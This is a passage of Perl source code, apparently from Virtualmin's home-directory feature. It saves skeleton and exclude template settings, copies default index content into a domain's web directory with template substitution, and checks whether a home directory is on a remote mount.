$tmpl->{'skel'} = &parse_none_def("skel"); if ($in{'skel_mode'} == 2) { -d $in{'skel'} || &error($text{'tmpl_eskel'}); $tmpl->{'skel_subs'} = $in{'skel_subs'}; $tmpl->{'skel_nosubs'} = $in{'skel_nosubs'}; $tmpl->{'skel_onlysubs'} = $in{'skel_onlysubs'}; } # Save excludes if ($in{'exclude_mode'} == 0) { $tmpl->{'exclude'} = 'none'; } elsif ($in{'exclude_mode'} == 1) { delete($tmpl->{'exclude'}); } else { $tmpl->{'exclude'} = join("\t", split(/\r?\n/, $in{'exclude'})); } } # create_index_content(&domain, content, [overwrite]) # Copy default content files to the domain's HTML directory sub create_index_content { local ($d, $content, $over) = @_; # Remove any existing index.* files that might be used instead local $dest = &public_html_dir($d); local @indexes = grep { -f $_ } glob("$dest/index.*"); if ($over) { if (@indexes) { &unlink_file(@indexes); } } else { return if (@indexes); } # Find all the files to copy using a stack my @srcs = ( $default_content_dir ); while(@srcs) { my @newsrcs; foreach my $s (@srcs) { foreach my $f (glob("$s/*")) { next if ($f =~ /^\./); my $rf = $f; $rf =~ s/^\Q$default_content_dir\E\///; if (-d $f) { &make_dir_as_domain_user($d, $dest."/".$rf, 0755); push(@newsrcs, $f); } else { my $data = &read_file_contents($f); my $destfile = $dest."/".$rf; next if (-e $destfile && !$over); &open_tempfile_as_domain_user( $d, DATA, ">".$destfile); if ($f =~ /\.(html|htm|txt|php|php4|php5)$/i) { local %hash = %$d; if ($content) { $hash{'TMPLTCONTENT'} = $content; $hash{'TMPLTCONTENT'} =~ s/\n/<br>\n/g; } %hash = populate_default_index_page(%hash); $data = &substitute_virtualmin_template($data, \%hash); } &print_tempfile(DATA, $data); &close_tempfile_as_domain_user($d, DATA); } } } @srcs = @newsrcs; } } # remote_dir(&domain) # Returns 1 if the domain's home dir is on a remote server sub remote_dir { local ($d) = @_; my ($home_mtab, $home_fstab) = &mount_point($d->{'home'}); my $tab = $home_mtab || $home_fstab; return $tab && $tab->[1] =~ /^[a-z0-9\.\_\-]+:/i ? $tab->[1] : undef; } # can_reset_dir(&domain) # Resetting the home directory feature doesn't make any sense ever sub can_reset_dir { return 0; } $done_feature_script{'dir'} = 1; 1;
Close